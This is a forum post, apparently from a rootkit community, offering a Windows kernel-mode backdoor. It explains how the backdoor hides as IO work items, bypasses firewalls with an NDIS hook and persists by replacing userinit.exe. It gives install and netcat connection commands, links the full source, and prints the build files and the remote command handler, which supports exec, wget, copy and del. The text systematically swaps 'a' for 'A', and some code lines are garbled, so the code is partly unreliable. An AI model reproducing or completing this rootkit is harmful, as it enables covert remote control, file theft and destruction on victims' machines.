some ideAs About steAlth for rootkit
By: uty
this bAck door run in ring0 Atfer it gets stArted.And bypAss the personAl firewAll.
first of All,i think hide process is A bAd ideA,mAny methods cAn find them out.Then i see IO work items is just whAt i need.so without creAte A process or threAd,we hAve someting running in the kernel.
when one commAnd received,the IO work item get running,in A IO work item work function cAll IoQueueWorkItem.it's working but i didn't hAve time to find out whAt's going on in IoQueueWorkItem.
InsteAd of A cmd shell,there Are A few commAnds,like cd dir copy del .... this commAnd Also works in ring0,by using nAtive APIs exported by ntoskrnl.exe,you cAn Add Any commAnds you wAnt,we Are in ring0,we cAn do everything,right?
Second,nowAdAys xp sp2 And personAl firewAll Are widely used.So bypAss the firewAll becAmes A big deAl.I use ndis hook to get the pAcket. MAke two queues,one for received pAckets,one for the pAckets to be send out, reimplement A simple TCP connection.so the client i chose netcAt. if mAke A clinet by ourself,it will be more usefull And simple.
Third,how to stArt it. write registry is eAsy to be found,including hook reg functions,hide service item. in my heAd,i wAnt to infect the kernel, thAt's right, ntoskrnl.exe.like let my rootkit be one pArt of the kernel. i'm still working on it : ( . i find Another wAy to insteAd .not A very good one. it replAce the userinit.exe,when the system stArt, we first stArt the rootkit by loAd A sys file,then runing the reAl userinit.exe.
useAge:"uay.exe -i port" or "uay.exe -i" to instAll,"uay.exe -u" to uninstAll, "nc.exe ip port" to connection to it.
here follows the ring0 pArt,the whole thing cAn be downloAded At http://uty.512j.com/uay_source.rar ,which include the fAke userinit.exe
Admin note: as always, please keep in mind that precompiled executables may not be safe and that compiling the raw source may be a better approach.
![]() |

hi,i mAde A bAckdoor this dAys,just for leArning the skills.so some of the code you mAy fAmiliAr :> my english is poor,just reAd the source
this bAck door run in ring0 Atfer it gets stArted.And bypAss the personAl firewAll.
first of All,i think hide process is A bAd ideA,mAny methods cAn find them out.Then i see IO work items is just whAt i need.so without creAte A process or threAd,we hAve someting running in the kernel.
when one commAnd received,the IO work item get running,in A IO work item work function cAll IoQueueWorkItem.it's working but i didn't hAve time to find out whAt's going on in IoQueueWorkItem.
InsteAd of A cmd shell,there Are A few commAnds,like cd dir copy del .... this commAnd Also works in ring0,by using nAtive APIs exported by ntoskrnl.exe,you cAn Add Any commAnds you wAnt,we Are in ring0,we cAn do everything,right?
Second,nowAdAys xp sp2 And personAl firewAll Are widely used.So bypAss the firewAll becAmes A big deAl.I use ndis hook to get the pAcket. MAke two queues,one for received pAckets,one for the pAckets to be send out, reimplement A simple TCP connection.so the client i chose netcAt. if mAke A clinet by ourself,it will be more usefull And simple.
Third,how to stArt it. write registry is eAsy to be found,including hook reg functions,hide service item. in my heAd,i wAnt to infect the kernel, thAt's right, ntoskrnl.exe.like let my rootkit be one pArt of the kernel. i'm still working on it : ( . i find Another wAy to insteAd .not A very good one. it replAce the userinit.exe,when the system stArt, we first stArt the rootkit by loAd A sys file,then runing the reAl userinit.exe.
useAge:"uay.exe -i port" or "uay.exe -i" to instAll,"uay.exe -u" to uninstAll, "nc.exe ip port" to connection to it.
here follows the ring0 pArt,the whole thing cAn be downloAded At http://uty.512j.com/uay_source.rar ,which include the fAke userinit.exe
Admin note: as always, please keep in mind that precompiled executables may not be safe and that compiling the raw source may be a better approach.
_____SOURCES_____
TARGETNAME=ubd_sys
TARGETPATH=obj
TARGETTYPE=DRIVER
C_DEFINES=$(C_DEFINES) -DNDIS_MINIPORT_DRIVER -DNDIS_WDM=1
C_DEFINES=$(C_DEFINES) -DNDIS51_MINIPORT=1
C_DEFINES=$(C_DEFINES) -DNDIS51=1
TARGETLIBS=$(DDK_LIB_PATH)ndis.lib
MSC_WARING_LEVEL=/W3
SOURCES=NdisHook.c
dummyprotocolfunc.c
ubd_sys.c
commAnd.c
utils.c
exec.c
wget.c
_____mAkefile_____
#
# DO NOT EDIT THIS FILE!!! Edit ./sources. if you want to add a new source
# file to this component. This file merely indirects to the real make file
# that is shared by all the components of Windows NT
#
!INCLUDE $(NTMAKEENV)makefile.def
_____commAnd.c_____
///
// uty@uaty
///
#include <ntddk.h>
#include "structs.h"
#include "commAnd.h"
#include "utils.h"
NTSTATUS
uSend(
PTCPS_Connection pConnection,
char *pSendBuffer,
ULONG ulSendBufferSize
);
/*
typedef struct FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
typedef struct _FILE_DISPOSITION_INFORMATION {
BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION;
*/
#define SENDBUFLENGTH 1024
#define MAXPATHLENGTH_W 511*2
#define MAXPATHLENGTH_A 511
#define MAXARGLENGTH_W 255*2
#define MAXARGLENGTH_A 255
NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
NTSYSAPI
NTSTATUS
NTAPI
ZwDeleteFile(
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetInformationFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
NTSYSAPI
NTSTATUS
NTAPI
ZwWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwReadFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
BOOLEAN
KWget(
PCHAR szURL,
PCHAR szFileNAme
);
BOOLEAN
KExec(
PCHAR CmdLine
);
//--------------------------------------------------------------------
//ReferenceCommAnd 不负责释放pRecvList占用的空间
NTSTATUS
ReferenceCommAnd(PRECVLIST pRecvList)
{
CHAR* usAge = "It think the most vAlueAble commAnds Are:/n"
" dir /n"
" cd /n"
" exec /n"
" wget /n"
" copy /n"
" del /n"
" pwd /n"
" chAngedriver /n"
" /n";
ULONG Argc;
CHAR* Argv[9];///9 Arguments is enough
WCHAR *tempforpAth;//equAl to TCPSConnection->m_PAth;
CHAR *AnsiTemp;//finAlly send to client
ULONG i;
tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
AnsiTemp = ExAllocatePool(PagedPool,SENDBUFLENGTH);
RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
DbgPrint("commAndline: %s/n",pRecvList->dAtA);//debug
pRecvList->dAtA[strlen(pRecvList->dAtA)-1] = '/0';//remote the lAst /n
GetArg(pRecvList->dAtA,&Argc,Argv,9);
DbgPrint("Argc: %d/n",Argc);//debug
for(i = 0;i<Argc;i++){
DbgPrint("%s/n",Argv[i]);
}
if(0 == _stricmp(Argv[0],"help")){
uSend(
pRecvList->pConnection,
usAge,
strlen(usAge)
);
}
else if(0 == _stricmp(Argv[0],"dir")){
//参数检查
if(wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth) < MAXPATHLENGTH_W){
wcscat(tempforpAth,pRecvList->pConnection->m_PAth);// /??/m_PAth
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_ReferenceCommAnd;
}
CommAnd_Dir(pRecvList,tempforpAth);
}
else if(0 == _stricmp(Argv[0],"cd")){
CommAnd_Cd(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"exec")){
CommAnd_Exec(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"wget")){
CommAnd_Wget(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"copy")){
CommAnd_Copy(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"del")){
CommAnd_Del(pRecvList,Argc,Argv);
}
else if(0 == _stricmp(Argv[0],"pwd")){
//m_PAth cAnnot big then 512
wtoA((WCHAR*)pRecvList->pConnection->m_PAth,(CHAR*)AnsiTemp);
strcat(AnsiTemp,"/n");Avoid this situAtion c:u>
uSend(
pRecvList->pConnection,
AnsiTemp,
strlen(AnsiTemp)
);
}
else if(0 == _stricmp(Argv[0],"chAngeDriver")){
CommAnd_ChAngeDriver(pRecvList,Argc,Argv);
}
else if(0 == strcmp(Argv[0],"")){///for the press of enter ,but we remoted it
//do nothing
}
else{
uSend(
pRecvList->pConnection,
"unreferenced commAnd :>/n",
strlen("unreferenced commAnd :>/n")
);
}
end_ReferenceCommAnd:
ExFreePool(tempforpAth);
ExFreePool(AnsiTemp);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Dir(PRECVLIST pRecvList,WCHAR* pAth)
{
HANDLE hFileHAndle;
OBJECT_ATTRIBUTES oA;
IO_STATUS_BLOCK IoStAtusBlock;
#define INFORBUFFERLENGTH 1024
CHAR *InforBuffer;
#define TEMPBUFFERLENGTHBYTES 1020 //4 bytes for '/n'
WCHAR *temp;
PFILE_DIRECTORY_INFORMATION pInfor;
UNICODE_STRING nAme;
NTSTATUS dwStAtus;
CHAR *SendBuffer;
SendBuffer = ExAllocatePool(PagedPool,SENDBUFLENGTH);
InforBuffer = ExAllocatePool(PagedPool,INFORBUFFERLENGTH);
temp = ExAllocatePool(PagedPool,TEMPBUFFERLENGTHBYTES);
RtlInitUnicodeString(&nAme,pAth);
InitializeObjectAttributes(
&oA,
&nAme,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
dwStAtus = ZwOpenFile(
&hFileHAndle,
GENERIC_READ,
&oA,
&IoStAtusBlock,
FILE_SHARE_READ,
FILE_DIRECTORY_FILE
);
DbgPrint("dwStAtus: 0x%x/n IoStAtusBlock.StAtus: 0x%x/n",dwStAtus,IoStAtusBlock.Status);
if(dwStAtus == STATUS_PENDING && IoStAtusBlock.Status != STATUS_SUCCESS){///需要改进
uSend(
pRecvList->pConnection,
"error/n",
strlen("error/n")
);
}
do{
RtlZeroMemory(InforBuffer,INFORBUFFERLENGTH);
dwStAtus = ZwQueryDirectoryFile(
hFileHAndle,
NULL,
NULL,
NULL,
&IoStAtusBlock,
InforBuffer,
INFORBUFFERLENGTH,
FileDirectoryInformation,
FALSE,
NULL,
FALSE
);
if (IoStAtusBlock.Status != STATUS_SUCCESS){//bug
uSend(
pRecvList->pConnection,
"bAd directory/n",
strlen("bAd directory/n")
);
goto end_CommAnd_Dir;
}
pInfor = (PFILE_DIRECTORY_INFORMATION)InforBuffer;
RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
/给文件夹加标志
if(wcslen(temp) + wcslen(L"/t/t<DIR>") < MAXPATHLENGTH_W){
wcscat(temp,L"/t/t<DIR>");
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Dir;
}
}else{
//do nothing
}
RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
wtoA(temp,SendBuffer);
strcat(SendBuffer,"/n");
uSend(
pRecvList->pConnection,
SendBuffer,
strlen(SendBuffer)
);
//RtlZeroMemory(SendBuffer,1024);//不能在这里清
do{
pInfor = (PFILE_DIRECTORY_INFORMATION)((PCHAR)pInfor + pInfor->NextEntryOffset);
RtlZeroMemory(temp,TEMPBUFFERLENGTHBYTES);
RtlCopyMemory(temp,(char*)pInfor->FileName,pInfor->FileNameLength < TEMPBUFFERLENGTHBYTES ?pInfor->FileNameLength:TEMPBUFFERLENGTHBYTES);
if(pInfor->FileAttributes & FILE_ATTRIBUTE_DIRECTORY){
wcscat(temp,L"/t/t<DIR>");
}else{
//do nothing
}
RtlZeroMemory(SendBuffer,SENDBUFLENGTH);
//don't worry the length here
wtoA(temp,SendBuffer);
strcat(SendBuffer,"/n");
uSend(
pRecvList->pConnection,
SendBuffer,
strlen(SendBuffer)/
);
//RtlZeroMemory(SendBuffer,1024);//不能在这里清
}while(pInfor->NextEntryOffset != 0);
}while(IoStAtusBlock.Status != STATUS_NO_MORE_FILES);
ZwClose(hFileHAndle);
end_CommAnd_Dir:
ExFreePool(SendBuffer);
ExFreePool(InforBuffer);
ExFreePool(temp);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Cd(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE hFileHAndle;
OBJECT_ATTRIBUTES oA;
UNICODE_STRING nAme;
NTSTATUS dwStAtus;
IO_STATUS_BLOCK IoStAtusBlock;
WCHAR *tempforpAth;
WCHAR *tempforArg;//convert Argv[1] to WCHAR
ULONG i;
tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
if(Argc < 2){
//do nothing
goto end_CommAnd_Cd;
}
if(Argc > 2){
uSend(
pRecvList->pConnection,
"too mAny Arguments/n",
strlen("too mAny Arguments/n")
);
goto end_CommAnd_Cd;
}
if(0 == strcmp(Argv[1],"..")){ //cd ..
for (i = wcslen(pRecvList->pConnection->m_PAth);i > 0;i--){
if(pRecvList->pConnection->m_PAth[i] == L'//'){//Add L, whAtever
pRecvList->pConnection->m_PAth[i] = L'/0';
if(wcslen(pRecvList->pConnection->m_PAth) == 2){//x:
wcscat(pRecvList->pConnection->m_PAth,L"//");
}
}
}
return STATUS_SUCCESS;
}
if(0 == strcmp(Argv[1],"//")){ //cd /
pRecvList->pConnection->m_PAth[3] = L'/0';
goto end_CommAnd_Cd;
}
RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
if(strlen(Argv[1]) < MAXARGLENGTH_A){
Atow(Argv[1],tempforArg);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Cd;
}
//sprintf(tempforpAth,L"//??//%S//%S",pRecvList->pConnection->m_PAth,tempforArg);
RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));//not wcslen
if ((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W ){
wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Cd;
}
//wcscat(tempforpAth,L"//");// / 另加
if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth,tempforArg);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Cd;
}
DbgPrint("cd PAth: %S/n",tempforpAth);//debug
RtlInitUnicodeString(&nAme,tempforpAth);
InitializeObjectAttributes(
&oA,
&nAme,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
dwStAtus = ZwOpenFile(
&hFileHAndle,
GENERIC_READ,
&oA,
&IoStAtusBlock,
FILE_SHARE_READ,
FILE_DIRECTORY_FILE
);
DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
uSend(
pRecvList->pConnection,
"direcotry does not exists/n",
strlen("direcotry does not exists/n")
);
}else{
if((wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg) + 2 )*2 < MAXPATHLENGTH_W){//1 for L"//"
wcscat(pRecvList->pConnection->m_PAth,tempforArg);
wcscat(pRecvList->pConnection->m_PAth,L"//");
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Cd;
}
}
ZwClose(hFileHAndle);
end_CommAnd_Cd:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Del(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE hFileHAndle;
OBJECT_ATTRIBUTES oA;
UNICODE_STRING nAme;
IO_STATUS_BLOCK IoStAtusBlock;
NTSTATUS dwStAtus;
WCHAR *tempforpAth;
WCHAR *tempforArg;
ULONG i;
FILE_BASIC_INFORMATION fileBAsicInfor= {0};
FILE_DISPOSITION_INFORMATION fileDispositionInfor;
tempforpAth = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
for(i = 1;i < Argc;i++){
RtlZeroMemory(tempforArg,MAXARGLENGTH_W);
//check the Arg,
if (strlen(Argv[i]) < MAXARGLENGTH_A){
Atow(Argv[i],tempforArg);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Del;
}
RtlZeroMemory(tempforpAth,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth,L"//??//",sizeof(L"//??//"));
//check the Arg
if((wcslen(tempforpAth) + wcslen(pRecvList->pConnection->m_PAth))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth,pRecvList->pConnection->m_PAth);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Del;
}
if((wcslen(tempforpAth) + wcslen(tempforArg))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth,tempforArg);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Del;
}
DbgPrint("del file: %S/n",tempforpAth);//debug
RtlInitUnicodeString(&nAme,tempforpAth);
InitializeObjectAttributes(
&oA,
&nAme,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
dwStAtus = ZwOpenFile(
&hFileHAndle,
GENERIC_READ|FILE_WRITE_ATTRIBUTES|DELETE,//|GENERIC_WRITE|DELETE,
&oA,
&IoStAtusBlock,
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_NON_DIRECTORY_FILE
);
DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
uSend(
pRecvList->pConnection,
Argv[i],
strlen(Argv[i])
);
uSend(
pRecvList->pConnection,
" do not exists/n",
strlen(" do not exists/n")
);
continue;
}
fileBAsicInfor.FileAttributes = FILE_ATTRIBUTE_NORMAL;//&= ~(FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
dwStAtus = ZwSetInformationFile(
hFileHAndle,
&IoStAtusBlock,
&fileBAsicInfor,
sizeof(FILE_BASIC_INFORMATION),
FileBasicInformation
);
DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
fileDispositionInfor.DeleteFile = TRUE;
dwStAtus = ZwSetInformationFile(
hFileHAndle,
&IoStAtusBlock,
&fileDispositionInfor,
sizeof(FILE_DISPOSITION_INFORMATION),
FileDispositionInformation
);
DbgPrint("dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if(hFileHAndle){
ZwClose(hFileHAndle);
}
/*
dwStAtus = ZwDeleteFile(
&oA
);
DbgPrint("dwStAtus: 0x%x/n",dwStAtus);
if(dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){
uSend(
pRecvList->pConnection,
Argv[i],
strlen(Argv[i])
);
uSend(
pRecvList->pConnection,
" do not exists/n",
strlen(" do not exists/n")
);
continue;
}
else if(dwStAtus == STATUS_ACCESS_DENIED){
uSend(
pRecvList->pConnection,
Argv[i],
strlen(Argv[i])
);
uSend(
pRecvList->pConnection,
" : ACCESS DENIED/n",
strlen(" : ACCESS DENIED/n")
);
continue;
}
else if(dwStAtus == STATUS_SUCCESS){
//do noting;
continue;
}
else if(dwStAtus == STATUS_CANNOT_DELETE){
uSend(
pRecvList->pConnection,
Argv[i],
strlen(Argv[i])
);
uSend(
pRecvList->pConnection,
" : CANNOT DELETE/n",
strlen(" : CANNOT DELETE/n")
);
}
else{
uSend(
pRecvList->pConnection,
"del: error/n",
strlen("del: error/n")
);
continue;
}
*/
}//for
end_CommAnd_Del:
ExFreePool(tempforpAth);
ExFreePool(tempforArg);
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS CommAnd_Copy(PRECVLIST pRecvList,ULONG Argc,CHAR* Argv[])
{
HANDLE hFile_source,hFile_dest;
OBJECT_ATTRIBUTES oA_source,oA_dest;
UNICODE_STRING nAme_source,nAme_dest;
NTSTATUS dwStAtus;
IO_STATUS_BLOCK IoStAtusBlock;
//WCHAR tempforpAth_source[512],tempforpAth_dest[512];
//WCHAR tempforArg_source[256],tempforArg_dest[256];
WCHAR *tempforpAth_source,*tempforpAth_dest;
WCHAR *tempforArg_source,*tempforArg_dest;
//CHAR CopyBuffer[1024]; //kernel stAck is precious
CHAR *CopyBuffer;
ULONG CopyLength;
CopyBuffer = ExAllocatePool(PagedPool,1024);
tempforpAth_source = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforpAth_dest = ExAllocatePool(PagedPool,MAXPATHLENGTH_W);
tempforArg_source = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
tempforArg_dest = ExAllocatePool(PagedPool,MAXARGLENGTH_W);
if (Argc > 3){
uSend(
pRecvList->pConnection,
"too mAny Arguments/n",
strlen("too mAny Arguments/n")
);
goto end_CommAnd_Copy;
}
if (Argc < 3){
uSend(
pRecvList->pConnection,
"too few Arguments/n",
strlen("too few Arguments/n")
);
goto end_CommAnd_Copy;
}
RtlZeroMemory(tempforArg_source,MAXARGLENGTH_W);
RtlZeroMemory(tempforArg_dest,MAXARGLENGTH_W);
DbgPrint("strlen(Argv[1]):%d/n",strlen(Argv[1]));//debug
DbgPrint("strlen(Argv[2]):%d/n",strlen(Argv[2]));
if(strlen(Argv[1]) < MAXARGLENGTH_A && strlen(Argv[2]) < MAXARGLENGTH_A){
Atow(Argv[1],tempforArg_source);
Atow(Argv[2],tempforArg_dest);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Copy;
}
RtlZeroMemory(tempforpAth_source,MAXPATHLENGTH_W);
RtlZeroMemory(tempforpAth_dest,MAXPATHLENGTH_W);
RtlCopyMemory(tempforpAth_source,L"//??//",sizeof(L"//??//"));
RtlCopyMemory(tempforpAth_dest,L"//??//",sizeof(L"//??//"));
if(tempforArg_source[1] == L':' && tempforArg_source[0] != L' '){
//绝对路径,包括盘符
if ((wcslen(tempforpAth_source) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth_source,tempforArg_source);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Copy;
}
}else{
//
DbgPrint("(wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source) : %d/n",wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source));//debug
if((wcslen(tempforpAth_source) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_source))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth_source,pRecvList->pConnection->m_PAth);
wcscat(tempforpAth_source,tempforArg_source);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Copy;
}
}
if(tempforArg_dest[1] == L':' && tempforArg_dest[0] != L' '){
if ((wcslen(tempforpAth_dest) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth_dest,tempforArg_dest);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Copy;
}
}else{
//
DbgPrint("wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest):%d/n",wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest));
if((wcslen(tempforpAth_dest) + wcslen(pRecvList->pConnection->m_PAth) + wcslen(tempforArg_dest))*2 < MAXPATHLENGTH_W){
wcscat(tempforpAth_dest,pRecvList->pConnection->m_PAth);
wcscat(tempforpAth_dest,tempforArg_dest);
}else{
uSend(
pRecvList->pConnection,
"hAy! file nAme is too long,do you wAnnA A overflow?/n",
strlen("hAy! file nAme is too long,do you wAnnA A overflow?/n")
);
goto end_CommAnd_Copy;
}
}
DbgPrint("copy source: %S/n",tempforpAth_source);//debug
DbgPrint("copy dest: %S/n",tempforpAth_dest);//debug
RtlInitUnicodeString(&nAme_source,tempforpAth_source);
RtlInitUnicodeString(&nAme_dest,tempforpAth_dest);
InitializeObjectAttributes(
&oA_source,
&nAme_source,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
InitializeObjectAttributes(
&oA_dest,
&nAme_dest,
OBJ_CASE_INSENSITIVE,
NULL,
NULL
);
dwStAtus = ZwOpenFile(
&hFile_source,
GENERIC_READ|SYNCHRONIZE,
&oA_source,
&IoStAtusBlock,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT|FILE_NON_DIRECTORY_FILE
);
DbgPrint("ZwOpenFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwOpenFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS || dwStAtus == STATUS_OBJECT_NAME_NOT_FOUND){//需要改进
uSend(
pRecvList->pConnection,
Argv[1],
strlen(Argv[1])
);
uSend(
pRecvList->pConnection,
" do not exists/n",
strlen(" do not exists/n")
);
//return dwStAtus;
goto end_CommAnd_Copy;
}
dwStAtus = ZwCreateFile(
&hFile_dest,
GENERIC_WRITE|SYNCHRONIZE,
&oA_dest,
&IoStAtusBlock,
0,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_CREATE,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
DbgPrint("ZwCreAteFile dwStAtus: 0x%x/n",dwStAtus);//debug
DbgPrint("ZwCreAteFile IoStAtusBlock.StAtus: 0x%x/n",IoStAtusBlock.Status);//debug
if (dwStAtus != STATUS_SUCCESS){//需要改进
uSend(
pRecvList->pConnection,
"file AlreAdy exists or bAd pAth/n",
strlen("file AlreAdy exists or bAd pAth/n")
);
//return dwStAtus;
goto end_CommAnd_Copy;
}
dwStAtus = ZwReadFile(
hFile_source,
NULL,
NULL,
NULL,
&IoStAtusBlock,
CopyBuffer,
1024,
NULL,
NULL
);
CopyLength = IoStAtusBlock.Information;
while(NT_SUCCESS(dwStAtus)){
ZwWriteFile(
hFile_dest,
NULL,
NULL,
NULL,
&IoStAtusBlock,
CopyBuffer,
CopyLength,
NULL,
NULL
);
dwStAtus = ZwReadFile(
hFile_source,
NULL,
NULL,
NULL,
&IoStAtusBlock,
CopyBuffer,
1024,
NULL,
NULL
);
CopyLength = IoStAtusBlock.Information;
}
ZwClose(hFile_source);
ZwClose(hFile_dest);
end_CommAnd_Copy:
ExFreePool(CopyBuffer);
ExFreePool(tempforpAth_source);
ExFreePool(tempforpAth_dest);
ExFreePool(tempforArg_source);
ExFreePool(tempforArg_dest);
return dwStAtus;
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
